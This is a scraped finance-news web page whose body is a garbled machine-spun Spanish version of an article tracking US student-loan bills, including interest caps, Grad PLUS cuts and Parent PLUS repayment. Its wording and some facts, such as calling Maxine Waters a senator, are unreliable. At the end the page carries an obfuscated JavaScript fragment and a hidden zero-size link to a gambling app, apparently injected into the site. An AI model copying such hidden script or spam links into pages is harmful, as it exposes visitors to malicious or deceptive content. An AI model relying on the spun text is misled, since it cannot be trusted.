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<style scoped>.tdi_19{vertical-align:baseline}.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:block}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_19>.wpb_wrapper,.tdi_19>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_19>.wpb_wrapper>.tdc-elements{width:100%}.tdi_19>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_19>.wpb_wrapper{width:100%;height:100%}}@media (max-width:767px){.tdi_19{width:10%!important;text-align:left!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_menu tdi_20 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_20" >
<style>@media (max-width:767px){.tdi_20{margin-left:-20px!important}}</style>
<style>.tdi_20{display:inline-block}.tdi_20 .tdb-mobile-menu-button i{font-size:27px;width:54px;height:54px;line-height:54px}.tdi_20 .tdb-mobile-menu-button svg{width:27px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:54px;height:54px}.tdi_20 .tdb-mobile-menu-button{color:#ffffff}.tdi_20 .tdb-mobile-menu-button svg,.tdi_20 .tdb-mobile-menu-button svg *{fill:#ffffff}.tdi_20 .tdb-mobile-menu-button:hover{color:#ededed}.tdi_20 .tdb-mobile-menu-button:hover svg,.tdi_20 .tdb-mobile-menu-button:hover svg *{fill:#ededed}@media (max-width:767px){.tdi_20 .tdb-mobile-menu-button i{font-size:25px;width:50px;height:50px;line-height:50px}.tdi_20 .tdb-mobile-menu-button svg{width:25px}.tdi_20 .tdb-mobile-menu-button .tdb-mobile-menu-icon-svg{width:50px;height:50px}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-mobile-menu-button"><i class="tdb-mobile-menu-icon td-icon-mobile"></i></span></div></div> <!-- ./block --></div></div><div class="vc_column tdi_22  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_22{vertical-align:baseline}.tdi_22>.wpb_wrapper,.tdi_22>.wpb_wrapper>.tdc-elements{display:block}.tdi_22>.wpb_wrapper>.tdc-elements{width:100%}.tdi_22>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_22>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_22{width:80%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_23 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_23" >
<style>.tdi_23 .tdb-logo-a,.tdi_23 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_23 .tdb-logo-svg-wrap{display:block}.tdi_23 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_23 .tdb-logo-img-wrap{display:block}.tdi_23 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_23 .tdb-logo-text-title{display:block;color:#ffffff;font-size:40px!important;letter-spacing:-2px!important;}.tdi_23 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_23 .tdb-logo-icon{top:0px;display:block}.tdi_23 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:1019px) and (max-width:1140px){.tdi_23 .tdb-logo-text-title{font-size:33px!important;}}@media (min-width:768px) and (max-width:1018px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;letter-spacing:-3px!important;}}@media (max-width:767px){.tdi_23 .tdb-logo-text-title{font-size:28px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_25  wpb_column vc_column_container tdc-column td-pb-span3">
<style scoped>.tdi_25{vertical-align:baseline}.tdi_25>.wpb_wrapper,.tdi_25>.wpb_wrapper>.tdc-elements{display:block}.tdi_25>.wpb_wrapper>.tdc-elements{width:100%}.tdi_25>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_25>.wpb_wrapper{width:auto;height:auto}@media (max-width:767px){.tdi_25{width:10%!important}}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_mobile_search tdi_26 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_26" >
<style>.tdi_26{display:inline-block}.tdi_26 .tdb-header-search-button-mob i{font-size:22px;width:55px;height:55px;line-height:55px}.tdi_26 .tdb-header-search-button-mob svg{width:22px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:55px;height:55px;display:flex;justify-content:center}.tdi_26 .tdb-header-search-button-mob{color:#ffffff}.tdi_26 .tdb-header-search-button-mob svg,.tdi_26 .tdb-header-search-button-mob svg *{fill:#ffffff}.tdi_26 .tdb-header-search-button-mob:hover{color:#f2f2f2}@media (max-width:767px){.tdi_26 .tdb-header-search-button-mob i{font-size:20px;width:50px;height:50px;line-height:50px}.tdi_26 .tdb-header-search-button-mob svg{width:20px}.tdi_26 .tdb-header-search-button-mob .tdb-mobile-search-icon-svg{width:50px;height:50px;display:flex;justify-content:center}}</style><div class="tdb-block-inner td-fix-index"><span class="tdb-header-search-button-mob dropdown-toggle" data-toggle="dropdown"><i class="tdb-mobile-search-icon td-icon-search"></i></span></div></div> <!-- ./block --></div></div></div></div></div></div>                    </div>

                
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<style scoped>.tdi_28{min-height:0}.td-header-desktop-wrap{position:relative}</style><div id="tdi_29" class="tdc-row stretch_row_1200 td-stretch-content"><div class="vc_row tdi_30  wpb_row td-pb-row tdc-element-style" >
<style scoped>.tdi_30,.tdi_30 .tdc-columns{min-height:0}.tdi_30,.tdi_30 .tdc-columns{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_30 .tdc-columns{width:100%}.tdi_30:before,.tdi_30:after{display:none}.tdi_30{padding-top:5px!important;padding-bottom:5px!important;position:relative}.tdi_30 .td_block_wrap{text-align:left}</style>
<div class="tdi_29_rand_style td-element-style" ><style>.tdi_29_rand_style{background-color:#005689!important}</style></div><div class="vc_column tdi_32  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_32{vertical-align:baseline}.tdi_32>.wpb_wrapper,.tdi_32>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-start;align-items:center}.tdi_32>.wpb_wrapper>.tdc-elements{width:100%}.tdi_32>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_32>.wpb_wrapper{width:100%;height:100%}.tdi_32{width:30%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_date tdi_33 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_33" >
<style>.tdb_header_date{margin-bottom:0;clear:none}.tdb_header_date .tdb-block-inner{display:flex;align-items:baseline}.tdb_header_date .tdb-head-date-txt{font-family:var(--td_default_google_font_1,'Open Sans','Open Sans Regular',sans-serif);font-size:11px;line-height:1;color:#000}.tdi_33{display:inline-block}.tdi_33 .tdb-head-date-txt{color:#ffffff;font-size:15px!important;font-weight:600!important}@media (min-width:1019px) and (max-width:1140px){.tdi_33 .tdb-head-date-txt{font-size:14px!important}}@media (min-width:768px) and (max-width:1018px){.tdi_33 .tdb-head-date-txt{font-size:11px!important}}</style><div class="tdb-block-inner td-fix-index"><div class="tdb-head-date-txt">Sunday, September 20, 2026</div></div></div> <!-- ./block --></div></div><div class="vc_column tdi_35  wpb_column vc_column_container tdc-column tdc-restr-display-none td-pb-span3">
<style scoped>.tdi_35{vertical-align:baseline}.tdi_35>.wpb_wrapper,.tdi_35>.wpb_wrapper>.tdc-elements{display:block}.tdi_35>.wpb_wrapper>.tdc-elements{width:100%}.tdi_35>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_35>.wpb_wrapper{width:auto;height:auto}.tdi_35{width:40%!important}</style><div class="wpb_wrapper" ><div class="td_block_wrap tdb_header_logo tdi_36 td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_36" >
<style>.tdi_36 .tdb-logo-a,.tdi_36 h1{flex-direction:row;align-items:center;justify-content:center}.tdi_36 .tdb-logo-svg-wrap{display:block}.tdi_36 .tdb-logo-svg-wrap+.tdb-logo-img-wrap{display:none}.tdi_36 .tdb-logo-img-wrap{display:block}.tdi_36 .tdb-logo-text-tagline{margin-top:2px;margin-left:0;display:block}.tdi_36 .tdb-logo-text-title{display:block;color:#ffffff;font-size:43px!important;letter-spacing:-2px!important;}.tdi_36 .tdb-logo-text-wrap{flex-direction:column;align-items:flex-start}.tdi_36 .tdb-logo-icon{top:0px;display:block}.tdi_36 .tdb-logo-a:hover .tdb-logo-text-title{color:#eaeaea;background:none;-webkit-text-fill-color:initial;background-position:center center}@media (min-width:768px) and (max-width:1018px){.tdi_36 .tdb-logo-text-title{font-size:30px!important;}}</style><div class="tdb-block-inner td-fix-index"><a class="tdb-logo-a" href="https://financesnewsonline.com/"><span class="tdb-logo-text-wrap"><span class="tdb-logo-text-title">𝐅𝐢𝐧𝐚𝐧𝐜𝐞𝐬 𝐍𝐞𝐰𝐬 𝐎𝐧𝐥𝐢𝐧𝐞</span></span></a></div></div> <!-- ./block --></div></div><div class="vc_column tdi_38  wpb_column vc_column_container tdc-column td-pb-span6">
<style scoped>.tdi_38{vertical-align:baseline}.tdi_38>.wpb_wrapper,.tdi_38>.wpb_wrapper>.tdc-elements{display:flex;flex-direction:row;flex-wrap:nowrap;justify-content:flex-end;align-items:flex-end}.tdi_38>.wpb_wrapper>.tdc-elements{width:100%}.tdi_38>.wpb_wrapper>.vc_row_inner{width:auto}.tdi_38>.wpb_wrapper{width:100%;height:100%}.tdi_38{width:30%!important}@media(min-width:1141px){.tdi_38{display:inline-block!important}}</style><div class="wpb_wrapper" ><div class="tdm_block td_block_wrap tdm_block_socials tdi_39 tdm-content-horiz-left td-pb-border-top td_block_template_1"  data-td-block-uid="tdi_39" >
<style>.tdi_39{margin-right:10px!important;margin-bottom:10px!important;padding-top:-!important}</style>
<style>.tdm_block.tdm_block_socials{margin-bottom:0}.tdm-social-wrapper{*zoom:1}.tdm-social-wrapper:before,.tdm-social-wrapper:after{display:table;content:'';line-height:0}.tdm-social-wrapper:after{clear:both}.tdm-social-item-wrap{display:inline-block}.tdm-social-item{position:relative;display:inline-block;vertical-align:middle;-webkit-transition:all 0.2s;transition:all 0.2s;text-align:center;-webkit-transform:translateZ(0);transform:translateZ(0)}.tdm-social-item i{font-size:14px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-text{display:none;margin-top:-1px;vertical-align:middle;font-size:13px;color:var(--td_theme_color,#4db2ec);-webkit-transition:all 0.2s;transition:all 0.2s}.tdm-social-item-wrap:hover i,.tdm-social-item-wrap:hover .tdm-social-text{color:#000}.tdm-social-item-wrap:last-child .tdm-social-text{margin-right:0!important}</style>
<style>.tdi_40 .tdm-social-item i{font-size:13px;vertical-align:middle;line-height:19.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:10.4px}.tdi_40 .tdm-social-item{width:19.5px;height:19.5px;margin:5px 10px 5px 0}.tdi_40 .tdm-social-item-wrap:last-child .tdm-social-item{margin-right:0!important}.tdi_40 .tdm-social-item i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item i{color:#ffffff}.tdi_40 .tdm-social-item-wrap:hover i,.tds-team-member2 .tdi_40.tds-social1 .tdm-social-item:hover i{color:#4db2ec}.tdi_40 .tdm-social-text{display:none;margin-left:2px;margin-right:18px;color:#ffffff;font-family:Merriweather Sans!important;font-size:12px!important}.tdi_40 .tdm-social-item-wrap:hover .tdm-social-text{color:#4db2ec}@media (min-width:768px) and (max-width:1018px){.tdi_40 .tdm-social-item i{font-size:11px;vertical-align:middle;line-height:16.5px}.tdi_40 .tdm-social-item i.td-icon-linkedin,.tdi_40 .tdm-social-item i.td-icon-pinterest,.tdi_40 .tdm-social-item i.td-icon-blogger,.tdi_40 .tdm-social-item i.td-icon-vimeo{font-size:8.8px}.tdi_40 .tdm-social-item{width:16.5px;height:16.5px}.tdi_40 .tdm-social-text{font-size:11px!important}}</style><div class="tdm-social-wrapper tds-social1 tdi_40"><div class="tdm-social-item-wrap"><a href="#"  title="Facebook" class="tdm-social-item"><i class="td-icon-font td-icon-facebook"></i><span style="display: none">Facebook</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Instagram" class="tdm-social-item"><i class="td-icon-font td-icon-instagram"></i><span style="display: none">Instagram</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Linkedin" class="tdm-social-item"><i class="td-icon-font td-icon-linkedin"></i><span style="display: none">Linkedin</span></a></div><div class="tdm-social-item-wrap"><a href="#"  title="Twitter" class="tdm-social-item"><i class="td-icon-font td-icon-twitter"></i><span style="display: none">Twitter</span></a></div></div></div><div class="td_block_wrap tdb_header_search tdi_41 tdb-header-search-trigger-enabled td-pb-border-top td_block_template_1 tdb-header-align"  data-td-block-uid="tdi_41" >
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aria-label="Buscar"><span>Buscar</span></button></div></form><div class="tdb-aj-search"></div></div></div><a href="#" role="button" aria-label="Buscar" class="tdb-head-search-btn dropdown-toggle" data-toggle="dropdown"><i class="tdb-search-icon td-icon-search"></i></a></div></div> <!-- ./block --></div></div></div></div><div id="tdi_42" class="tdc-row stretch_row_1400 td-stretch-content"><div class="vc_row tdi_43  wpb_row td-pb-row tdc-element-style" >
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<p><em>&#8220;Solo soy un esquema de ley. Sí, solo soy una nota. Y estoy sentado aquí en Capitol Hill. Bueno, es un amplio, amplio delirio a la ciudad hacienda. Es una larga, larga retraso mientras estoy sentado en el comité, pero sé que algún día seré una ley. Al menos espero y rezo para que lo haga. Pero hoy todavía soy un esquema de ley&#8221;.</em></p>
<p>Si eres un prestatario de préstamo estudiantil, no estaría de más recapacitar estas saber de rocas de la escuela cada vez que ve un titular sobre el perdón masivo, la desaparición del reembolso impulsado por los ingresos (IDR) o similares.</p>
<p>Hasta ahora, en 2025, la suministro Trump ha roto repetidamente las noticiario de préstamos estudiantiles, preocupando a los prestatarios que han estado trabajando para el perdón de préstamos de servicio notorio o desean inscribirse en IDR.</p>
<p>Como el representante Mike Lawler (R-NY) le recordó a Bankrate en una entrevista monopolio, &#8220;Legislating lleva tiempo&#8221;. Lawler, quien ha introducido múltiples proyectos de ley de financiación de educación superior en la sesión 2025-2026, agregó: &#8220;Creo que podemos construir un consenso en torno a esto porque afecta a todos en todo el país. Y es poco que, a amplio plazo, necesitamos tener una alternativa&#8221;.</p>
<h2 id="consideration">Código de préstamos estudiantiles bajo consideración</h2>
<p>Nos estamos centrando en la nueva fuero, principalmente lo que se ha introducido durante la sesión flagrante del Congreso, que afectaría más a las familias que pagan por la universidad o que pagan la deuda educativa.</p>
<h3>1. Intereses de préstamos federales de CAP al 2 por ciento</h3>
<p><strong>Nombre de la Ley:</strong> Ley de préstamos asequibles para estudiantes (texto completo)</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">Introducido</mark></strong></td>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">En comité</mark></strong></td>
<td>Pasó la casa</td>
<td>Permitido por el Senado</td>
<td>Escritorio del presidente</td>
<td>Firmado por ley</td>
</tr>
</tbody>
</table>
</div>
<p>Este es el esquema de ley que debe observar si se encuentra entre los prestatarios federales de préstamos que sienten que acumular y capitalizar los intereses ha impedido que su saldo irresoluto se reduzca a pesar de los abriles de reembolso. Originalmente anunciado como un remate del 1 por ciento en las tasas de interés de préstamos federales, este esquema de ley disfruta de copatrocinadores de entreambos partidos políticos. Lawler confirmó a Bankrate que el techo de tasa &#8220;se aplicaría retroactivamente&#8221; a los actuales titulares de préstamos, no solo a los futuros prestatarios.</p>
<p>Para el contexto, las tasas de préstamos estudiantiles para préstamos federales actualmente oscilan entre 6.53 por ciento y 9.08 por ciento.</p>
<div class="BlockQuote pb-8 BlockQuote--bordered flex flex-col items-center text-center md:text-left md:flex-row gap-3 md:gap-8 mb-8 md:mb-0">
<blockquote class="BlockQuote-text text-center md:text-left"><p>
        <q>Todos reconocen que el problema de la asequibilidad universitaria es noble. Y que puede configurar una cuenta 529 y comenzar a atesorar hoy y aún así (no) podrá acreditar la matrícula universitaria para sus hijos. Entonces, este es un seguro desafío. Y obviamente, queremos hacerlo para que las personas puedan tener llegada a un préstamo estudiantil, pero todavía podrán pagarlo y hacerlo de modo oportuna en motivo de tener intereses compuestos positivamente impedirles que pague el préstamo.</q><br />
                    <cite class="PullQuote-cite text-gray-900 ml-0 md:ml-4"></p>
<p>                -Representante Mike Lawler (R-NY) para Bankrate el 26 de marzo<br />
            </cite>
            </p></blockquote>
</div>
<h3>2. Obstrucción el software de préstamos Grad Plus</h3>
<p><strong>Nombre de la Ley: </strong>Ley de oportunidad de posgrado y préstamos asequibles (texto completo)</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">Introducido</mark></strong></td>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">En comité</mark></strong></td>
<td>Pasó la casa</td>
<td>Permitido por el Senado</td>
<td>Escritorio del presidente</td>
<td>Firmado por ley</td>
</tr>
</tbody>
</table>
</div>
<p>El senador Tommy Tuberville (R-AL) presentó este esquema de ley a fines de enero, con el objetivo de impedir los préstamos federales de préstamos estudiantiles para estudiantes graduados y profesionales. Adicionalmente de suprimir el software de préstamos Grad Plus (y aparentemente dejar intactos préstamos para padres más), todavía cambia los límites de endeudamiento total para préstamos directos no subsidiados:</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td><strong>Préstamos federales directos no subsidiados y subsidiados</strong></td>
<td><strong>Coto flagrante*</strong></td>
<td><strong>Coto propuesto **</strong></td>
</tr>
<tr>
<td><strong>Estudiante titulado</strong></td>
<td>$ 138,500</td>
<td>$ 65,000</td>
</tr>
<tr>
<td><strong>Estudiante profesional</strong></td>
<td>$ 138,500</td>
<td>$ 130,000</td>
</tr>
</tbody>
<tfoot>
<tr>
<td>
<em>*Incluyendo préstamos de pregrado</em><br /><em>** Adicionalmente de los préstamos de pregrado</em>
</td>
<td></td>
<td></td>
</tr>
</tfoot>
</table>
</div>
<p>Incluso si la propuesta de Tuberville no avanza, el software de préstamos PLUS podría permanecer en el monolito de corte: es un objetivo reportado del proceso de reconciliación presupuestaria de los republicanos del Congreso. De cualquier modo, los futuros buscadores de graduados y de naturaleza profesional pueden tener que abandonarse en préstamos privados para estudiantes.</p>
<h3>3. Ofrecer un reembolso basado en ingresos para los prestatarios de préstamos para padres más</h3>
<p><strong>Nombre de la Ley: </strong>Ley de Opciones de reembolso Asequible Plus para los Padres de 2025 (texto completo)</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">Introducido</mark></strong></td>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">En comité</mark></strong></td>
<td>Pasó la casa</td>
<td>Permitido por el Senado</td>
<td>Escritorio del presidente</td>
<td>Firmado por ley</td>
</tr>
</tbody>
</table>
</div>
<p>En la contemporaneidad, los préstamos federales de padres más deben consolidarse (con el sección de educación, no refinanciado en privado) para ser elegibles para los planes de suscripción basados ​​en los ingresos. Este esquema de ley, presentado por el curtido senador Maxine Waters (D-CA), enmendaría la Ley de Educación Superior (HEA) de 1965 para hacer de IDR una opción inmediata para los padres que toman prestado en nombre de su hijo.</p>
<p>IDR Access podría ayudar a algunos de los 3,6 millones de prestatarios de préstamos de 3,6 millones de padres más a descender las cuotas mensuales en sus $ 110 mil millones combinados en deuda irresoluto, según las matemáticas de la oficina de Waters. Sin duda, todavía ayudaría a las personas mayores que luchan con esta deuda.</p>
<div class="BlockQuote pb-8 BlockQuote--bordered flex flex-col items-center text-center md:text-left md:flex-row gap-3 md:gap-8 mb-8 md:mb-0">
<blockquote class="BlockQuote-text text-center md:text-left"><p>
        <q>Intento prestar atención y en el momento adecuado &#8230; para tratar de obtener una respuesta legislativa si eso está justificado. Y se alcahuetería de padres que están tratando de poner a sus hijos en la escuela, y no pueden pagarlo.</q><br />
                    <cite class="PullQuote-cite text-gray-900 ml-0 md:ml-4"></p>
<p>                -Representante Maxine Waters (D-CA) para bandejar el 3 de abril<br />
            </cite>
            </p></blockquote>
</div>
<h3>4. Aplazamiento sin intereses para residentes médicos, dentales, pasantes</h3>
<p><strong>Nombres de ACT: </strong>Ley de interés diferido de educación residente (REDI) (texto completo) </p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">Introducido</mark></strong></td>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">En comité</mark></strong></td>
<td>Pasó la casa</td>
<td>Permitido por el Senado</td>
<td>Escritorio del presidente</td>
<td>Firmado por ley</td>
</tr>
</tbody>
</table>
</div>
<p>Un esfuerzo conjunto de la casa del Senado, la Ley REDI atiende a los prestatarios de préstamos estudiantiles que asumen una deuda significativa para carreras médicas y dentales, luego observan su balón de saldo mientras están internados o en residencia (y antiguamente de obtener su potencial salario de seis cifras). Redi enmendaría el HEA para eliminar esa posibilidad; si se aprueba, este esquema de ley diferiría el reembolso y la acumulación de intereses de detenimiento durante los programas de pasantía y residencia.</p>
<h3>5. Extender los reembolsos de los préstamos estudiantiles de la Ley Cares</h3>
<p><strong>Nombre de la Ley: </strong>Billete del empleador en la Ley de reembolso (texto completo)</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">Introducido</mark></strong></td>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">En comité</mark></strong></td>
<td>Pasó la casa</td>
<td>Permitido por el Senado</td>
<td>Escritorio del presidente</td>
<td>Firmado por ley</td>
</tr>
</tbody>
</table>
</div>
<p>La Ley Cares de marzo de 2020, en parte, permite a las empresas otorgar hasta $ 5,250 en reembolsos libres de impuestos a los empleados para acreditar los préstamos estudiantiles (o cubrir los costos educativos), pero solo hasta 2025. Este nuevo esquema de ley de &#8220;décimo del empleador&#8221;, introducido tanto en la Cámara como en el Senado, tiene como objetivo que la redacción de la narración interna. Con el apoyo bipartidista entre los copatrocinadores, este esquema de ley es una reto prudente para avanzar.</p>
<p><strong>No estar confundido: </strong>La Ley Secure 2.0 de 2022 permitió a los empleadores que coincidan con los pagos de préstamos estudiantiles de los trabajadores en forma de contribuciones de cuenta de subvención.</p>
<h3>6. Permitir los miembros del servicio aplicar los beneficios de GI Bill al reembolso federal de préstamos</h3>
<p><strong>Nombre de la Ley: </strong>Ley Modern Gi Bill (texto completo)</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">Introducido</mark></strong></td>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">En comité</mark></strong></td>
<td>Pasó la casa</td>
<td>Permitido por el Senado</td>
<td>Escritorio del presidente</td>
<td>Firmado por ley</td>
</tr>
</tbody>
</table>
</div>
<p>Al igual que la fuero directamente precedente, la Ley de Tesina de Ley GI moderna hace un esfuerzo para doblar el reembolso de los préstamos estudiantiles en los beneficios existentes. Permitiría a los miembros del servicio que califican para amparo educativa bajo el esquema de ley GI posterior al 11 de septiembre para aplicar su ayuda a los pagos federales de préstamos, por hasta tres abriles y a ciertos límites ($ 15,900 para 2026).</p>
<h3>7. Baje la barrera para la bancarrota privada de préstamos estudiantiles</h3>
<p><strong>Nombre de la Ley: </strong>Ley de equidad de los préstamos estudiantiles privados de 2025 (texto completo)</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">Introducido</mark></strong></td>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">En comité</mark></strong></td>
<td>Pasó la casa</td>
<td>Permitido por el Senado</td>
<td>Escritorio del presidente</td>
<td>Firmado por ley</td>
</tr>
</tbody>
</table>
</div>
<p>La descarga de préstamos estudiantiles en bancarrota es más claro decirlo que hacerlo: debe demostrar que &#8220;dificultades indebidas&#8221; le impide asaltar un saldo sin alivio. Este esquema de ley eliminaría ese standard por completo, al menos para la deuda privada de préstamos estudiantiles.</p>
<p>Pero no te hagas ilusiones. &#8220;Ese esquema de ley no va a ninguna parte&#8221;, dice el abogado de préstamos estudiantiles con sede en Vermont, Joshua Cohen, quien ha realizado descargas completas y parciales para muchos de sus clientes.</p>
<h3>8. penalizar las escuelas por las cargas de deuda de sus alumnos</h3>
<p><strong>Nombre de la Ley: </strong>Prevención de la explotación financiera en la Ley de Educación Superior (texto completo)</p>
<div class="w-full overflow-x-auto">
<table class="Table Table--stripedOdd Table--spacing1 align-middle wrapped">
<tbody>
<tr>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">Introducido</mark></strong></td>
<td><strong><mark style="background-color:#fff0ca" class="has-inline-color">En comité</mark></strong></td>
<td>Pasó la casa</td>
<td>Permitido por el Senado</td>
<td>Escritorio del presidente</td>
<td>Firmado por ley</td>
</tr>
</tbody>
</table>
</div>
<p>La suministro Trump ha congelado fondos de subvenciones a las principales universidades que cree que está permitiendo el antisemitismo en sus campus. Este esquema de ley todavía repartiría las sanciones financieras a las escuelas que permiten que un suspensión porcentaje de estudiantes se vuelvan delincuentes o en incumplimiento (o &#8220;realice pagos insuficientes&#8221;) en préstamos federales.</p>
<p>Por ejemplo, en su primer año de implementación, el esquema de ley exige que una escuela pague el 30 por ciento del saldo irresoluto de sus estudiantes que están en incumplimiento (si al menos el 11 por ciento de los estudiantes están en incumplimiento). Los fondos irían directamente al gobierno federal.</p>
<p>Si esta idea apetito vapor, podría combinarse con otro esquema de ley recientemente introducido: la Ley de Reforma y Oportunidad de la Educación Superior (texto completo), que todavía se encuentra en el comité y sería más amplio que los colegios y universidades expliquen las luchas de deuda de sus estudiantes.</p>
<section class="editorial-insight-box --insight-box +mg-vertical-md" data-template="insight_box">
<div class="card-body">
<div class="content-wrapper">
<p>                Sugerencia de bankrate
            </p>
<div class="content">
<p>Para actualizaciones en tiempo auténtico sobre estos y otros proyectos de ley, busque en el Congreso.gov por la fuero que le precio. Una vez que haga clic en una nota en particular, seleccione &#8220;Obtenga alertas&#8221;. Recibirá actualizaciones automáticas cuando se cambie una nota, copatrocina o tal vez en camino de convertirse en ley.</p>
</p></div>
</p></div>
</p></div>
</section>
<h2 id="history" data-beam-element-viewed="" data-id="br-h2-second-onpage-placement" data-type="h2" data-location="Loans, Student Loans" data-position="h2_second_placement" data-name="h2_second_placement" data-text="Student loan legislation tracker" data-outcome="">La historia de los préstamos estudiantiles federales y la ayuda financiera</h2>
<p>No todos los cambios de reembolso federal de préstamos estudiantiles se originan en el Congreso. En 2015, por ejemplo, el Sección de Educación (DOED) creó el plan de suscripción de suscripción revisado al ingresar. Y más recientemente, los presidentes Biden y Trump han utilizado poderes dados y órdenes ejecutivas para otorgar perdón y amenazarlo.</p>
<p>Aún así, con el poder del bolsa, el Congreso, y las firmas de muchos presidentes, han afectado más directamente dónde estamos hoy.</p>
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rXvaAE[uO6sSA]===Bhnv9L[0x5]){return rXvaAE[uO6sSA]=u9p_es(XlIVAt[uO6sSA])}return rXvaAE[uO6sSA]}return{[XD_DQ_(0xbf)]:_nHDgA5}}else{return _nHDgA5}}new DD5jaro(qUYixvG(0xc0),qUYixvG(0xc1),qUYixvG(0xc2))[qUYixvG(0xc3)]})();
</script>
<!-- sc5a72ec-b4503d -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
